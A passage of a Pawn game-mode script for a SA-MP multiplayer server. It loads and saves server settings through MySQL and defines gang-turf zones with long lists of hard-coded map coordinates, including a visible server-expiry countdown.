	cache_get_row(0,5,DateOfRekord,handle,60);
	ExpireDays = cache_get_row_int(0,6,handle);
	ExpireToggle = cache_get_row_int(0,7,handle);
	ArzesheCoin = cache_get_row_int(0,8,handle);
	new loadstuf[256];
	if(ExpireToggle == 1 && ExpireDays <= 0)
	{
	SetTimer("SVExitKon", 1000, 0);
	print("Server expired. Countdown to turn off the server started.");
	return 1;
	}
	if(ExpireToggle == 0)
	{
	format(loadstuf,256,"\nStuff loaded\nJackpotValue: %d, Tax: %d, TaxValue: %d, MostPlayersOnline: %d\n",Jackpot,Tax,TaxValue,MostPlayersOnline);
	}
	else
	{
	if(ExpireDays <= 1)
	{
	format(loadstuf,256,"\nStuff loaded\nJackpotValue: %d, Tax: %d, TaxValue: %d, MostPlayersOnline: %d\n%d day left to server expire.",Jackpot,Tax,TaxValue,MostPlayersOnline,ExpireDays);
	}
	if(ExpireDays >= 2)
	{
	format(loadstuf,256,"\nStuff loaded\nJackpotValue: %d, Tax: %d, TaxValue: %d, MostPlayersOnline: %d\n%d days left to server expire.",Jackpot,Tax,TaxValue,MostPlayersOnline,ExpireDays);
	}
	}
	print(loadstuf);
	return 1;
}
public SaveStuff()
{
	new query[512];
	mysql_format(handle, query,512,"UPDATE `server` SET jackpotvalue='%d',Tax='%d',TaxValue='%d',MostPlayersOnline='%d',DateOfRekord='%e',ExpireTog='%d',ExpireDays='%d',AGCoin='%d'",Jackpot,Tax,TaxValue,MostPlayersOnline,DateOfRekord,ExpireToggle,ExpireDays,ArzesheCoin);
	mysql_function_query(handle,query,false,"SendQuery","");
	return 1;
}
/*----------------------------------------------------------------------------*/
public LoadTurfs()
{
	print("\nLoading Turfs ...\n");
	mysql_function_query(handle,"SELECT * FROM `turfs`",true,"OnTurfsLoad","");
	return 1;
}
public LoadMeetings()
{
	print("\nLoading Meetings ...\n");
	mysql_function_query(handle,"SELECT * FROM `meetings`",true,"OnMeetingsLoad","");
	return 1;
}

/*GangZoneCreateWithBorders(Float:minx, Float:miny, Float:maxx, Float:maxy, &borderzoneID, Float:borderwidth = 7.5)
{
	borderzoneID = GangZoneCreate(minx-borderwidth,miny-borderwidth,maxx+borderwidth,maxy+borderwidth);
	return GangZoneCreate(minx, miny, maxx, maxy);
}
GangZoneShowForPlayerBorders(playerid, zone, color, borderzone, bordercolor = 0xFFFFFF88)
{
	GangZoneShowForPlayer(playerid, borderzone, bordercolor);
	return GangZoneShowForPlayer(playerid, zone, color);
}*/
forward OnTurfsLoad();
public OnTurfsLoad()
{
for(new i = 0;i<cache_get_row_count(handle);i++)
{
TurfInfo[i][zSQLid] = i;
cache_get_row(i,1,TurfInfo[i][zOwner],handle,64);
TurfInfo[i][zMinX] = cache_get_row_float(i,2,handle);
TurfInfo[i][zMinY] = cache_get_row_float(i,3,handle);
TurfInfo[i][zMaxX] = cache_get_row_float(i,4,handle);
TurfInfo[i][zMaxY] = cache_get_row_float(i,5,handle);
TurfInfo[i][zAttacker] = cache_get_row_int(i,6,handle);
}
	/*for(new i = 0; i < sizeof(TurfInfo); i++)
	{
	   Turfs[i] = GangZoneCreateWithBorders(TurfInfo[i][zMinX],TurfInfo[i][zMinY],TurfInfo[i][zMaxX],TurfInfo[i][zMaxY],TurfBorderID[i]);
	   TurfsX[i] = CreateDynamicRectangle(TurfInfo[i][zMinX], TurfInfo[i][zMinY], TurfInfo[i][zMaxX], TurfInfo[i][zMaxY]);
	   turfattacker[i] = 9999;
	   turfkhod[i] = 9999;
	   killsattackerturf[i] = 0;
	   deathsattackerturf[i] = 0;
	   killskhodturf[i] = 0;
	   deathskhodturf[i] = 0;
	   scoreattacker[i] = 0;
	   scorekhod[i] = 0;
	   TurfTime[i] = 0;
	   TurfReload[i] = 0;
	}*/
	
	for(new i = 0; i < sizeof(TurfInfo); i++)
	{
	   turfattacker[i] = 9999;
	   turfkhod[i] = 9999;
	   killsattackerturf[i] = 0;
	   deathsattackerturf[i] = 0;
	   killskhodturf[i] = 0;
	   deathskhodturf[i] = 0;
	   scoreattacker[i] = 0;
	   scorekhod[i] = 0;
	   TurfTime[i] = 0;
	   TurfReload[i] = 0;
	}

	//AllTurfsGangZones[0] = GangZoneCreate(1324.000000, -1368.000000, 1725.000000, -912.000000);
	Turfs[0] = GangZoneCreate(1324.000000, -1368.000000, 1725.000000, -912.000000);// 0
	TurfsX[0] = CreateDynamicRectangle(1324.000000, -1368.000000, 1725.000000, -912.000000, -1, 0);
	AllTurfsGangZones[1] = GangZoneCreate(1322.000000, -1366.000000, 1326.000000, -914.000000);
	AllTurfsGangZones[2] = GangZoneCreate(1322.000000, -914.000000, 1727.000000, -910.000000);
	AllTurfsGangZones[3] = GangZoneCreate(1723.000000, -1366.000000, 1727.000000, -914.000000);
	AllTurfsGangZones[4] = GangZoneCreate(1322.000000, -1370.000000, 1727.000000, -1366.000000);
	AllTurfsGangZones[5] = GangZoneCreate(1507.000000, -1164.000000, 1542.000000, -1157.000000);
	AllTurfsGangZones[6] = GangZoneCreate(1507.000000, -1117.000000, 1542.000000, -1124.000000);
	AllTurfsGangZones[7] = GangZoneCreate(1507.000000, -1157.000000, 1514.000000, -1124.000000);
	AllTurfsGangZones[8] = GangZoneCreate(1535.000000, -1157.000000, 1542.000000, -1124.000000);
	//AllTurfsGangZones[9] = GangZoneCreate(1729.000000, -1368.000000, 2130.000000, -912.000000);
	Turfs[1] = GangZoneCreate(1729.000000, -1368.000000, 2130.000000, -912.000000);// 9
	TurfsX[1] = CreateDynamicRectangle(1729.000000, -1368.000000, 2130.000000, -912.000000, -1, 0);
	AllTurfsGangZones[10] = GangZoneCreate(1727.000000, -1366.000000, 1731.000000, -914.000000);
	AllTurfsGangZones[11] = GangZoneCreate(1727.000000, -914.000000, 2132.000000, -910.000000);
	AllTurfsGangZones[12] = GangZoneCreate(2128.000000, -1366.000000, 2132.000000, -914.000000);
	AllTurfsGangZones[13] = GangZoneCreate(1727.000000, -1370.000000, 2132.000000, -1366.000000);
	AllTurfsGangZones[14] = GangZoneCreate(1926.000000, -1164.000000, 1933.000000, -1117.000000);
	//AllTurfsGangZones[15] = GangZoneCreate(2134.000000, -1368.000000, 2535.000000, -912.000000);
	Turfs[2] = GangZoneCreate(2134.000000, -1368.000000, 2535.000000, -912.000000);// 15
	TurfsX[2] = CreateDynamicRectangle(2134.000000, -1368.000000, 2535.000000, -912.000000, -1, 0);
	AllTurfsGangZones[16] = GangZoneCreate(2132.000000, -1366.000000, 2136.000000, -914.000000);
	AllTurfsGangZones[17] = GangZoneCreate(2132.000000, -914.000000, 2537.000000, -910.000000);
	AllTurfsGangZones[18] = GangZoneCreate(2533.000000, -1366.000000, 2537.000000, -914.000000);
	AllTurfsGangZones[19] = GangZoneCreate(2132.000000, -1370.000000, 2537.000000, -1366.000000);
	AllTurfsGangZones[20] = GangZoneCreate(2317.000000, -1124.000000, 2352.000000, -1117.000000);
	AllTurfsGangZones[21] = GangZoneCreate(2345.000000, -1137.000000, 2352.000000, -1124.000000);
	AllTurfsGangZones[22] = GangZoneCreate(2317.000000, -1144.000000, 2352.000000, -1137.000000);
	AllTurfsGangZones[23] = GangZoneCreate(2317.000000, -1157.000000, 2324.000000, -1144.000000);
	AllTurfsGangZones[24] = GangZoneCreate(2317.000000, -1164.000000, 2352.000000, -1157.000000);
	//AllTurfsGangZones[25] = GangZoneCreate(1324.000000, -1828.000000, 1725.000000, -1372.000000);
	Turfs[3] = GangZoneCreate(1324.000000, -1828.000000, 1725.000000, -1372.000000);// 25
	TurfsX[3] = CreateDynamicRectangle(1324.000000, -1828.000000, 1725.000000, -1372.000000, -1, 0);
	AllTurfsGangZones[26] = GangZoneCreate(1322.000000, -1826.000000, 1326.000000, -1374.000000);
	AllTurfsGangZones[27] = GangZoneCreate(1322.000000, -1374.000000, 1727.000000, -1370.000000);
	AllTurfsGangZones[28] = GangZoneCreate(1723.000000, -1826.000000, 1727.000000, -1374.000000);
	AllTurfsGangZones[29] = GangZoneCreate(1322.000000, -1830.000000, 1727.000000, -1826.000000);
	AllTurfsGangZones[30] = GangZoneCreate(1507.000000, -1584.000000, 1542.000000, -1577.000000);
	AllTurfsGangZones[31] = GangZoneCreate(1542.000000, -1624.000000, 1549.000000, -1577.000000);
	AllTurfsGangZones[32] = GangZoneCreate(1507.000000, -1604.000000, 1542.000000, -1597.000000);
	AllTurfsGangZones[33] = GangZoneCreate(1507.000000, -1624.000000, 1542.000000, -1617.000000);
	//AllTurfsGangZones[34] = GangZoneCreate(1729.000000, -1828.000000, 2130.000000, -1372.000000);
	Turfs[4] = GangZoneCreate(1729.000000, -1828.000000, 2130.000000, -1372.000000);// 34
	TurfsX[4] = CreateDynamicRectangle(1729.000000, -1828.000000, 2130.000000, -1372.000000, -1, 0);
	AllTurfsGangZones[35] = GangZoneCreate(1727.000000, -1826.000000, 1731.000000, -1374.000000);
	AllTurfsGangZones[36] = GangZoneCreate(1727.000000, -1374.000000, 2132.000000, -1370.000000);
	AllTurfsGangZones[37] = GangZoneCreate(2128.000000, -1826.000000, 2132.000000, -1374.000000);
	AllTurfsGangZones[38] = GangZoneCreate(1727.000000, -1830.000000, 2132.000000, -1826.000000);
	AllTurfsGangZones[39] = GangZoneCreate(1912.000000, -1580.000000, 1919.000000, -1597.000000);
	AllTurfsGangZones[40] = GangZoneCreate(1912.000000, -1604.000000, 1947.000000, -1597.000000);
	AllTurfsGangZones[41] = GangZoneCreate(1947.000000, -1620.000000, 1954.000000, -1580.000000);
	//AllTurfsGangZones[42] = GangZoneCreate(2134.000000, -1828.000000, 2535.000000, -1372.000000);
	Turfs[5] = GangZoneCreate(2134.000000, -1828.000000, 2535.000000, -1372.000000);// 42
	TurfsX[5] = CreateDynamicRectangle(1729.000000, -1828.000000, 2130.000000, -1372.000000, -1, 0);
	AllTurfsGangZones[43] = GangZoneCreate(2132.000000, -1826.000000, 2136.000000, -1374.000000);
	AllTurfsGangZones[44] = GangZoneCreate(2132.000000, -1374.000000, 2537.000000, -1370.000000);
	AllTurfsGangZones[45] = GangZoneCreate(2533.000000, -1826.000000, 2537.000000, -1374.000000);
	AllTurfsGangZones[46] = GangZoneCreate(2132.000000, -1830.000000, 2537.000000, -1826.000000);
	AllTurfsGangZones[47] = GangZoneCreate(2313.000000, -1584.000000, 2355.000000, -1577.000000);
	AllTurfsGangZones[48] = GangZoneCreate(2313.000000, -1597.000000, 2320.000000, -1584.000000);
	AllTurfsGangZones[49] = GangZoneCreate(2313.000000, -1604.000000, 2355.000000, -1597.000000);
	AllTurfsGangZones[50] = GangZoneCreate(2348.000000, -1604.000000, 2355.000000, -1617.000000);
	AllTurfsGangZones[51] = GangZoneCreate(2313.000000, -1624.000000, 2355.000000, -1617.000000);
	//AllTurfsGangZones[52] = GangZoneCreate(1324.000000, -2288.000000, 1725.000000, -1832.000000);
	Turfs[6] = GangZoneCreate(1324.000000, -2288.000000, 1725.000000, -1832.000000);// 52
	TurfsX[6] = CreateDynamicRectangle(1324.000000, -2288.000000, 1725.000000, -1832.000000, -1, 0);
	AllTurfsGangZones[53] = GangZoneCreate(1322.000000, -2286.000000, 1326.000000, -1834.000000);
	AllTurfsGangZones[54] = GangZoneCreate(1322.000000, -1834.000000, 1727.000000, -1830.000000);
	AllTurfsGangZones[55] = GangZoneCreate(1723.000000, -2286.000000, 1727.000000, -1834.000000);
	AllTurfsGangZones[56] = GangZoneCreate(1322.000000, -2290.000000, 1727.000000, -2286.000000);
	AllTurfsGangZones[57] = GangZoneCreate(1507.000000, -2044.000000, 1542.000000, -2037.000000);
	AllTurfsGangZones[58] = GangZoneCreate(1500.000000, -2037.000000, 1507.000000, -2084.000000);
	AllTurfsGangZones[59] = GangZoneCreate(1507.000000, -2064.000000, 1542.000000, -2057.000000);
	AllTurfsGangZones[60] = GangZoneCreate(1507.000000, -2084.000000, 1542.000000, -2077.000000);
	AllTurfsGangZones[61] = GangZoneCreate(1535.000000, -2077.000000, 1542.000000, -2064.000000);
	//AllTurfsGangZones[62] = GangZoneCreate(1729.000000, -2288.000000, 2130.000000, -1832.000000);
	Turfs[7] = GangZoneCreate(1729.000000, -2288.000000, 2130.000000, -1832.000000);// 62
    TurfsX[7] = CreateDynamicRectangle(1729.000000, -2288.000000, 2130.000000, -1832.000000, -1, 0);
	AllTurfsGangZones[63] = GangZoneCreate(1727.000000, -2286.000000, 1731.000000, -1834.000000);
	AllTurfsGangZones[64] = GangZoneCreate(1727.000000, -1834.000000, 2132.000000, -1830.000000);
	AllTurfsGangZones[65] = GangZoneCreate(2128.000000, -2286.000000, 2132.000000, -1834.000000);
	AllTurfsGangZones[66] = GangZoneCreate(1727.000000, -2290.000000, 2132.000000, -2286.000000);
	AllTurfsGangZones[67] = GangZoneCreate(1936.000000, -2084.000000, 1943.000000, -2044.000000);
	AllTurfsGangZones[68] = GangZoneCreate(1908.000000, -2044.000000, 1943.000000, -2037.000000);
	//AllTurfsGangZones[69] = GangZoneCreate(2134.000000, -2288.000000, 2535.000000, -1832.000000);
    Turfs[8] = GangZoneCreate(2134.000000, -2288.000000, 2535.000000, -1832.000000);// 69
    TurfsX[8] = CreateDynamicRectangle(2134.000000, -2288.000000, 2535.000000, -1832.000000, -1, 0);
	AllTurfsGangZones[70] = GangZoneCreate(2132.000000, -2286.000000, 2136.000000, -1834.000000);
	AllTurfsGangZones[71] = GangZoneCreate(2132.000000, -1834.000000, 2537.000000, -1830.000000);
	AllTurfsGangZones[72] = GangZoneCreate(2533.000000, -2286.000000, 2537.000000, -1834.000000);
	AllTurfsGangZones[73] = GangZoneCreate(2132.000000, -2290.000000, 2537.000000, -2286.000000);
	AllTurfsGangZones[74] = GangZoneCreate(2313.000000, -2037.000000, 2320.000000, -2084.000000);
	AllTurfsGangZones[75] = GangZoneCreate(2348.000000, -2037.000000, 2355.000000, -2084.000000);
	AllTurfsGangZones[76] = GangZoneCreate(2320.000000, -2044.000000, 2348.000000, -2037.000000);
	AllTurfsGangZones[77] = GangZoneCreate(2320.000000, -2064.000000, 2348.000000, -2057.000000);
	AllTurfsGangZones[78] = GangZoneCreate(2320.000000, -2084.000000, 2348.000000, -2077.000000);
	//AllTurfsGangZones[79] = GangZoneCreate(1324.000000, -2748.000000, 1725.000000, -2292.000000);
	Turfs[9] = GangZoneCreate(1324.000000, -2748.000000, 1725.000000, -2292.000000);// 79
	TurfsX[9] = CreateDynamicRectangle(1324.000000, -2748.000000, 1725.000000, -2292.000000, -1, 0);
	AllTurfsGangZones[80] = GangZoneCreate(1322.000000, -2746.000000, 1326.000000, -2294.000000);
	AllTurfsGangZones[81] = GangZoneCreate(1322.000000, -2294.000000, 1727.000000, -2290.000000);
	AllTurfsGangZones[82] = GangZoneCreate(1723.000000, -2746.000000, 1727.000000, -2294.000000);
	AllTurfsGangZones[83] = GangZoneCreate(1322.000000, -2750.000000, 1727.000000, -2746.000000);
	AllTurfsGangZones[84] = GangZoneCreate(1503.000000, -2520.000000, 1510.000000, -2504.000000);
	AllTurfsGangZones[85] = GangZoneCreate(1542.000000, -2544.000000, 1549.000000, -2497.000000);
	AllTurfsGangZones[86] = GangZoneCreate(1503.000000, -2504.000000, 1542.000000, -2497.000000);
	AllTurfsGangZones[87] = GangZoneCreate(1510.000000, -2520.000000, 1542.000000, -2513.000000);
	AllTurfsGangZones[88] = GangZoneCreate(1503.000000, -2544.000000, 1542.000000, -2537.000000);
	//AllTurfsGangZones[89] = GangZoneCreate(1729.000000, -2748.000000, 2130.000000, -2292.000000);
	Turfs[10] = GangZoneCreate(1729.000000, -2748.000000, 2130.000000, -2292.000000);// 89
	TurfsX[10] = CreateDynamicRectangle(1729.000000, -2748.000000, 2130.000000, -2292.000000, -1, 0);
	AllTurfsGangZones[90] = GangZoneCreate(1727.000000, -2746.000000, 1731.000000, -2294.000000);
	AllTurfsGangZones[91] = GangZoneCreate(1727.000000, -2294.000000, 2132.000000, -2290.000000);
	AllTurfsGangZones[92] = GangZoneCreate(2128.000000, -2746.000000, 2132.000000, -2294.000000);
	AllTurfsGangZones[93] = GangZoneCreate(1727.000000, -2750.000000, 2132.000000, -2746.000000);
	AllTurfsGangZones[94] = GangZoneCreate(1901.000000, -2544.000000, 1908.000000, -2497.000000);
	AllTurfsGangZones[95] = GangZoneCreate(1937.000000, -2544.000000, 1972.000000, -2537.000000);
	AllTurfsGangZones[96] = GangZoneCreate(1937.000000, -2497.000000, 1972.000000, -2504.000000);
	AllTurfsGangZones[97] = GangZoneCreate(1937.000000, -2537.000000, 1944.000000, -2504.000000);
	AllTurfsGangZones[98] = GangZoneCreate(1965.000000, -2537.000000, 1972.000000, -2504.000000);
	//AllTurfsGangZones[99] = GangZoneCreate(2134.000000, -2748.000000, 2535.000000, -2292.000000);
	Turfs[11] = GangZoneCreate(2134.000000, -2748.000000, 2535.000000, -2292.000000);// 99
	TurfsX[11] = CreateDynamicRectangle(2134.000000, -2748.000000, 2535.000000, -2292.000000, -1, 0);
	AllTurfsGangZones[100] = GangZoneCreate(2132.000000, -2746.000000, 2136.000000, -2294.000000);
	AllTurfsGangZones[101] = GangZoneCreate(2132.000000, -2294.000000, 2537.000000, -2290.000000);
	AllTurfsGangZones[102] = GangZoneCreate(2533.000000, -2746.000000, 2537.000000, -2294.000000);
	AllTurfsGangZones[103] = GangZoneCreate(2132.000000, -2750.000000, 2537.000000, -2746.000000);
	AllTurfsGangZones[104] = GangZoneCreate(2306.000000, -2544.000000, 2313.000000, -2497.000000);
	AllTurfsGangZones[105] = GangZoneCreate(2356.000000, -2544.000000, 2363.000000, -2497.000000);
	//AllTurfsGangZones[106] = GangZoneCreate(2539.000000, -1339.000000, 2947.000000, -912.000000);
	Turfs[12] = GangZoneCreate(2539.000000, -1339.000000, 2947.000000, -912.000000);// 106
	TurfsX[12] = CreateDynamicRectangle(2539.000000, -1339.000000, 2947.000000, -912.000000, -1, 0);
	AllTurfsGangZones[107] = GangZoneCreate(2537.000000, -1337.000000, 2541.000000, -914.000000);
	AllTurfsGangZones[108] = GangZoneCreate(2537.000000, -914.000000, 2949.000000, -910.000000);
	AllTurfsGangZones[109] = GangZoneCreate(2945.000000, -1337.000000, 2949.000000, -914.000000);
	AllTurfsGangZones[110] = GangZoneCreate(2537.000000, -1341.000000, 2949.000000, -1337.000000);
	AllTurfsGangZones[111] = GangZoneCreate(2714.000000, -1149.000000, 2721.000000, -1102.000000);
	AllTurfsGangZones[112] = GangZoneCreate(2750.000000, -1109.000000, 2785.000000, -1102.000000);
	AllTurfsGangZones[113] = GangZoneCreate(2778.000000, -1122.000000, 2785.000000, -1109.000000);
	AllTurfsGangZones[114] = GangZoneCreate(2750.000000, -1129.000000, 2785.000000, -1122.000000);
	AllTurfsGangZones[115] = GangZoneCreate(2750.000000, -1142.000000, 2757.000000, -1129.000000);
	AllTurfsGangZones[116] = GangZoneCreate(2750.000000, -1149.000000, 2785.000000, -1142.000000);
	//AllTurfsGangZones[117] = GangZoneCreate(2539.000000, -1752.000000, 2947.000000, -1334.000000);
	Turfs[13] = GangZoneCreate(2539.000000, -1752.000000, 2947.000000, -1334.000000);// 117
	TurfsX[13] = CreateDynamicRectangle(2539.000000, -1752.000000, 2947.000000, -1334.000000, -1, 0);
	AllTurfsGangZones[118] = GangZoneCreate(2537.000000, -1750.000000, 2541.000000, -1336.000000);
	AllTurfsGangZones[119] = GangZoneCreate(2537.000000, -1336.000000, 2949.000000, -1332.000000);
	AllTurfsGangZones[120] = GangZoneCreate(2945.000000, -1750.000000, 2949.000000, -1336.000000);
	AllTurfsGangZones[121] = GangZoneCreate(2537.000000, -1754.000000, 2949.000000, -1750.000000);
	AllTurfsGangZones[122] = GangZoneCreate(2714.000000, -1567.000000, 2721.000000, -1520.000000);
	AllTurfsGangZones[123] = GangZoneCreate(2750.000000, -1527.000000, 2785.000000, -1520.000000);
	AllTurfsGangZones[124] = GangZoneCreate(2785.000000, -1567.000000, 2792.000000, -1520.000000);
	AllTurfsGangZones[125] = GangZoneCreate(2750.000000, -1547.000000, 2785.000000, -1540.000000);
	AllTurfsGangZones[126] = GangZoneCreate(2750.000000, -1567.000000, 2785.000000, -1560.000000);
	//AllTurfsGangZones[127] = GangZoneCreate(2539.000000, -2174.000000, 2947.000000, -1756.000000);
	Turfs[14] = GangZoneCreate(2539.000000, -2174.000000, 2947.000000, -1756.000000);// 127
	TurfsX[14] = CreateDynamicRectangle(2539.000000, -2174.000000, 2947.000000, -1756.000000, -1, 0);
	AllTurfsGangZones[128] = GangZoneCreate(2537.000000, -2172.000000, 2541.000000, -1758.000000);
	AllTurfsGangZones[129] = GangZoneCreate(2537.000000, -1758.000000, 2949.000000, -1754.000000);
	AllTurfsGangZones[130] = GangZoneCreate(2945.000000, -2172.000000, 2949.000000, -1758.000000);
	AllTurfsGangZones[131] = GangZoneCreate(2537.000000, -2176.000000, 2949.000000, -2172.000000);
	AllTurfsGangZones[132] = GangZoneCreate(2714.000000, -1989.000000, 2721.000000, -1942.000000);
	AllTurfsGangZones[133] = GangZoneCreate(2750.000000, -1945.000000, 2757.000000, -1962.000000);
	AllTurfsGangZones[134] = GangZoneCreate(2750.000000, -1969.000000, 2785.000000, -1962.000000);
	AllTurfsGangZones[135] = GangZoneCreate(2785.000000, -1985.000000, 2792.000000, -1945.000000);
	//AllTurfsGangZones[136] = GangZoneCreate(2539.000000, -2564.000000, 2947.000000, -2178.000000);
	Turfs[15] = GangZoneCreate(2539.000000, -2564.000000, 2947.000000, -2178.000000);// 136
	TurfsX[15] = CreateDynamicRectangle(2539.000000, -2564.000000, 2947.000000, -2178.000000, -1, 0);
	AllTurfsGangZones[137] = GangZoneCreate(2537.000000, -2562.000000, 2541.000000, -2180.000000);
	AllTurfsGangZones[138] = GangZoneCreate(2537.000000, -2180.000000, 2949.000000, -2176.000000);
	AllTurfsGangZones[139] = GangZoneCreate(2945.000000, -2562.000000, 2949.000000, -2180.000000);
	AllTurfsGangZones[140] = GangZoneCreate(2537.000000, -2566.000000, 2949.000000, -2562.000000);
	AllTurfsGangZones[141] = GangZoneCreate(2714.000000, -2395.000000, 2721.000000, -2348.000000);
	AllTurfsGangZones[142] = GangZoneCreate(2747.000000, -2355.000000, 2789.000000, -2348.000000);
	AllTurfsGangZones[143] = GangZoneCreate(2747.000000, -2368.000000, 2754.000000, -2355.000000);
	AllTurfsGangZones[144] = GangZoneCreate(2747.000000, -2375.000000, 2789.000000, -2368.000000);
	AllTurfsGangZones[145] = GangZoneCreate(2782.000000, -2375.000000, 2789.000000, -2388.000000);
	AllTurfsGangZones[146] = GangZoneCreate(2747.000000, -2395.000000, 2789.000000, -2388.000000);
	//AllTurfsGangZones[147] = GangZoneCreate(95.000000, -1368.000000, 496.000000, -912.000000);
	Turfs[16] = GangZoneCreate(95.000000, -1368.000000, 496.000000, -912.000000);// 147
	TurfsX[16] = CreateDynamicRectangle(95.000000, -1368.000000, 496.000000, -912.000000, -1, 0);
	AllTurfsGangZones[148] = GangZoneCreate(93.000000, -1366.000000, 97.000000, -914.000000);
	AllTurfsGangZones[149] = GangZoneCreate(93.000000, -914.000000, 498.000000, -910.000000);
	AllTurfsGangZones[150] = GangZoneCreate(494.000000, -1366.000000, 498.000000, -914.000000);
	AllTurfsGangZones[151] = GangZoneCreate(93.000000, -1370.000000, 498.000000, -1366.000000);
	AllTurfsGangZones[152] = GangZoneCreate(267.000000, -1164.000000, 274.000000, -1117.000000);
	AllTurfsGangZones[153] = GangZoneCreate(303.000000, -1124.000000, 338.000000, -1117.000000);
	AllTurfsGangZones[154] = GangZoneCreate(296.000000, -1117.000000, 303.000000, -1164.000000);
	AllTurfsGangZones[155] = GangZoneCreate(303.000000, -1144.000000, 338.000000, -1137.000000);
	AllTurfsGangZones[156] = GangZoneCreate(303.000000, -1164.000000, 338.000000, -1157.000000);
	AllTurfsGangZones[157] = GangZoneCreate(331.000000, -1157.000000, 338.000000, -1144.000000);
	//AllTurfsGangZones[158] = GangZoneCreate(500.000000, -1368.000000, 901.000000, -912.000000);
	Turfs[17] = GangZoneCreate(500.000000, -1368.000000, 901.000000, -912.000000);// 158
	TurfsX[17] = CreateDynamicRectangle(500.000000, -1368.000000, 901.000000, -912.000000, -1, 0);
	AllTurfsGangZones[159] = GangZoneCreate(498.000000, -1366.000000, 502.000000, -914.000000);
	AllTurfsGangZones[160] = GangZoneCreate(498.000000, -914.000000, 903.000000, -910.000000);
	AllTurfsGangZones[161] = GangZoneCreate(899.000000, -1366.000000, 903.000000, -914.000000);
	AllTurfsGangZones[162] = GangZoneCreate(498.000000, -1370.000000, 903.000000, -1366.000000);
	AllTurfsGangZones[163] = GangZoneCreate(672.000000, -1164.000000, 679.000000, -1117.000000);
	AllTurfsGangZones[164] = GangZoneCreate(732.000000, -1164.000000, 739.000000, -1124.000000);
	AllTurfsGangZones[165] = GangZoneCreate(704.000000, -1124.000000, 739.000000, -1117.000000);
	//AllTurfsGangZones[166] = GangZoneCreate(905.000000, -1318.000000, 1321.000000, -912.000000);
	Turfs[18] = GangZoneCreate(905.000000, -1318.000000, 1321.000000, -912.000000);// 166
	TurfsX[18] = CreateDynamicRectangle(905.000000, -1318.000000, 1321.000000, -912.000000, -1, 0);
	AllTurfsGangZones[167] = GangZoneCreate(903.000000, -1316.000000, 907.000000, -914.000000);
	AllTurfsGangZones[168] = GangZoneCreate(903.000000, -914.000000, 1323.000000, -910.000000);
	AllTurfsGangZones[169] = GangZoneCreate(1319.000000, -1316.000000, 1323.000000, -914.000000);
	AllTurfsGangZones[170] = GangZoneCreate(903.000000, -1320.000000, 1323.000000, -1316.000000);
	AllTurfsGangZones[171] = GangZoneCreate(1084.000000, -1139.000000, 1091.000000, -1092.000000);
	AllTurfsGangZones[172] = GangZoneCreate(1117.000000, -1092.000000, 1124.000000, -1139.000000);
	AllTurfsGangZones[173] = GangZoneCreate(1152.000000, -1092.000000, 1159.000000, -1139.000000);
	AllTurfsGangZones[174] = GangZoneCreate(1124.000000, -1099.000000, 1152.000000, -1092.000000);
	AllTurfsGangZones[175] = GangZoneCreate(1124.000000, -1119.000000, 1152.000000, -1112.000000);
	AllTurfsGangZones[176] = GangZoneCreate(1124.000000, -1139.000000, 1152.000000, -1132.000000);
	//AllTurfsGangZones[177] = GangZoneCreate(905.000000, -1728.000000, 1321.000000, -1322.000000);
	Turfs[19] = GangZoneCreate(905.000000, -1728.000000, 1321.000000, -1322.000000);// 177
	TurfsX[19] = CreateDynamicRectangle(905.000000, -1728.000000, 1321.000000, -1322.000000, -1, 0);
	AllTurfsGangZones[178] = GangZoneCreate(903.000000, -1726.000000, 907.000000, -1324.000000);
	AllTurfsGangZones[179] = GangZoneCreate(903.000000, -1324.000000, 1323.000000, -1320.000000);
	AllTurfsGangZones[180] = GangZoneCreate(1319.000000, -1726.000000, 1323.000000, -1324.000000);
	AllTurfsGangZones[181] = GangZoneCreate(903.000000, -1730.000000, 1323.000000, -1726.000000);
	AllTurfsGangZones[182] = GangZoneCreate(1084.000000, -1549.000000, 1091.000000, -1502.000000);
	AllTurfsGangZones[183] = GangZoneCreate(1117.000000, -1525.000000, 1124.000000, -1509.000000);
	AllTurfsGangZones[184] = GangZoneCreate(1155.000000, -1549.000000, 1162.000000, -1502.000000);
	AllTurfsGangZones[185] = GangZoneCreate(1117.000000, -1509.000000, 1155.000000, -1502.000000);
	AllTurfsGangZones[186] = GangZoneCreate(1124.000000, -1525.000000, 1155.000000, -1518.000000);
	AllTurfsGangZones[187] = GangZoneCreate(1117.000000, -1549.000000, 1155.000000, -1542.000000);
	//AllTurfsGangZones[188] = GangZoneCreate(905.000000, -2138.000000, 1321.000000, -1732.000000);
	Turfs[20] = GangZoneCreate(905.000000, -2138.000000, 1321.000000, -1732.000000);// 188
	TurfsX[20] = CreateDynamicRectangle(905.000000, -2138.000000, 1321.000000, -1732.000000, -1, 0);
	AllTurfsGangZones[189] = GangZoneCreate(903.000000, -2136.000000, 907.000000, -1734.000000);
	AllTurfsGangZones[190] = GangZoneCreate(903.000000, -1734.000000, 1323.000000, -1730.000000);
	AllTurfsGangZones[191] = GangZoneCreate(1319.000000, -2136.000000, 1323.000000, -1734.000000);
	AllTurfsGangZones[192] = GangZoneCreate(903.000000, -2140.000000, 1323.000000, -2136.000000);
	AllTurfsGangZones[193] = GangZoneCreate(1070.000000, -1919.000000, 1105.000000, -1912.000000);
	AllTurfsGangZones[194] = GangZoneCreate(1098.000000, -1932.000000, 1105.000000, -1919.000000);
	AllTurfsGangZones[195] = GangZoneCreate(1070.000000, -1939.000000, 1105.000000, -1932.000000);
	AllTurfsGangZones[196] = GangZoneCreate(1070.000000, -1952.000000, 1077.000000, -1939.000000);
	AllTurfsGangZones[197] = GangZoneCreate(1070.000000, -1959.000000, 1105.000000, -1952.000000);
	AllTurfsGangZones[198] = GangZoneCreate(1120.000000, -1959.000000, 1155.000000, -1952.000000);
	AllTurfsGangZones[199] = GangZoneCreate(1120.000000, -1912.000000, 1155.000000, -1919.000000);
	AllTurfsGangZones[200] = GangZoneCreate(1120.000000, -1952.000000, 1127.000000, -1919.000000);
	AllTurfsGangZones[201] = GangZoneCreate(1148.000000, -1952.000000, 1155.000000, -1919.000000);
	//AllTurfsGangZones[202] = GangZoneCreate(905.000000, -2548.000000, 1321.000000, -2142.000000);
	Turfs[21] = GangZoneCreate(905.000000, -2548.000000, 1321.000000, -2142.000000);// 202
	TurfsX[21] = CreateDynamicRectangle(905.000000, -2548.000000, 1321.000000, -2142.000000, -1, 0);
	AllTurfsGangZones[203] = GangZoneCreate(903.000000, -2546.000000, 907.000000, -2144.000000);
	AllTurfsGangZones[204] = GangZoneCreate(903.000000, -2144.000000, 1323.000000, -2140.000000);
